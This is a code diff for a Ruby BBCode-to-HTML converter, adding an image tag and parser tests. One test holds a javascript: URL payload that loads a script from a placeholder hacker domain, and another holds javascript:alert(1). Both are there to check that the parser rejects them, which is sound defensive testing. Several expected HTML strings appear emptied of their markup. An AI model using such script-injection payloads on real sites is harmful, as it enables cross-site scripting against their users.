diff --git a/bristlecode.rb b/bristlecode.rb
index 1ed7209..f8dd273 100644
--- a/bristlecode.rb
+++ b/bristlecode.rb
@@ -4,9 +4,10 @@ require 'sanitize'
module Bristlecode
Config = Sanitize::Config::freeze_config(
- :elements => %w[b em i strong u a strike br],
+ :elements => %w[b em i strong u a strike br img],
:attributes => {
- 'a' => ['href']
+ 'a' => ['href'],
+ 'img' => ['src'],
},
:add_attributes => {
'a' => {'rel' => 'nofollow'}
@@ -34,9 +35,6 @@ module Bristlecode
end
class Parser < Parslet::Parser
- rule(:space) { match('\s').repeat(1) }
- rule(:space?) { space.maybe }
-
rule(:bold_open) { str('[b]') | str('[B]') }
rule(:bold_close) { str('[/b]') | str('[/B]') | eof }
rule(:bold) { bold_open >> children.as(:bold) >> bold_close }
@@ -62,16 +60,29 @@ module Bristlecode
}
rule(:url) { (simple_url | url_with_title).as(:url) }
+ rule(:img_open) { str('[img]') }
+ rule(:img_close) { str('[/img]') }
+ rule(:img) {
+ (
+ img_open >>
+ (
+ (str('http://') | str('https://')) >>
+ (img_close.absent? >> any).repeat(1)
+ ).as(:src) >>
+ img_close
+ ).as(:img)
+ }
+
rule(:eof) { any.absent? }
- rule(:tag) { bold | italic | url | linebreak }
+ rule(:tag) { bold | italic | url | linebreak | img }
rule(:elem) { text.as(:text) | tag }
- rule(:tag_open) { bold_open | italic_open | url_open | url_title_open }
- rule(:tag_close) { bold_close | italic_close | url_close }
+ rule(:tag_open) { bold_open | italic_open | url_open | url_title_open | img_open }
+ rule(:tag_close) { bold_close | italic_close | url_close | img_close }
rule(:tag_delim) { tag_open | tag_close | linebreak }
rule(:text) { (tag_delim.absent? >> any).repeat(1) }
- rule(:children) { space? >> elem.repeat }
- rule(:doc) { space? >> elem.repeat.as(:doc) }
+ rule(:children) { elem.repeat }
+ rule(:doc) { elem.repeat.as(:doc) }
root(:doc)
end
@@ -82,6 +93,7 @@ module Bristlecode
rule(doc: subtree(:doc)) { Doc.new(doc) }
rule(url: subtree(:url)) { Url.new(url) }
rule(br: simple(:br)) { Linebreak.new }
+ rule(img: subtree(:img)) { Img.new(img) }
end
class Doc
@@ -102,7 +114,7 @@ module Bristlecode
attr_accessor :text
def initialize(text)
- self.text = text.to_str.strip
+ self.text = text.to_str
Bristlecode.clean(self.text)
end
@@ -164,4 +176,16 @@ module Bristlecode
"
"
end
end
+
+ class Img
+ attr_accessor :src
+
+ def initialize(img)
+ self.src = img[:src].to_str
+ end
+
+ def to_html
+ ""
+ end
+ end
end
diff --git a/spec/bristlecode/parser_spec.rb b/spec/bristlecode/parser_spec.rb
index 07a1e75..6fa1fda 100644
--- a/spec/bristlecode/parser_spec.rb
+++ b/spec/bristlecode/parser_spec.rb
@@ -14,7 +14,8 @@ module Bristlecode
end
it 'handles empty documents' do
- expect(to_html(" \t \n \n \t")).to eq("")
+ text = " \t \n \n \t"
+ expect(to_html(text)).to eq(text)
end
it 'handles special chars' do
@@ -37,12 +38,12 @@ module Bristlecode
it 'can nest tags' do
doc = '[b] bold [i] italic [/i] bold [/b]'
- expected = 'bolditalicbold'
+ expected = ' bold italic bold '
out = to_html(doc)
expect(out).to eq(expected)
doc = '[i] italic [b] bold [/b] italic [/i]'
- expected = 'italicbolditalic'
+ expected = ' italic bold italic '
out = to_html(doc)
expect(out).to eq(expected)
end
@@ -74,9 +75,28 @@ module Bristlecode
expect(to_html(input)).to eq(output)
end
+ it 'allows subtrees in tags' do
+ input = '[url=http://google.com]this is [b]the[/b] google[/url]'
+ output = 'this is the google'
+ expect(to_html(input)).to eq(output)
+ end
+
+ it 'rejects bad url protocols' do
+ input = "[url=javascript:t=document.createElement('script');t.src='//hacker.domain/script.js';document.body.appendChild(t);//]test[/url]"
+ expect { to_html(input) }.to raise_error
+
+ input = "[url=ftp://whatever.com/etc]warez[/url]"
+ expect { to_html(input) }.to raise_error
+ end
+
it 'renders a linebreak' do
expect(to_html('[br]')).to eq('
')
end
+
+ it 'handles images' do
+ input = '[img]http://example.com/cat.gif[/img]'
+ expect(to_html(input)).to eq('')
+ end
end
describe Parser do
@@ -190,5 +210,17 @@ module Bristlecode
expect(parser.linebreak).to parse('[br]')
end
end
+
+ describe '#img' do
+ it 'accepts valid image urls' do
+ expect(parser.img).to parse('[img]http://example.com/something.gif[/img]')
+ expect(parser.img).to parse('[img]https://example.com/something.gif[/img]')
+ end
+
+ it 'rejects bad protocols' do
+ expect(parser.img).not_to parse('[img]ftp://example.com/something.gif[/img]')
+ expect(parser.img).not_to parse('[img]javascript:alert(1);[/img]')
+ end
+ end
end
end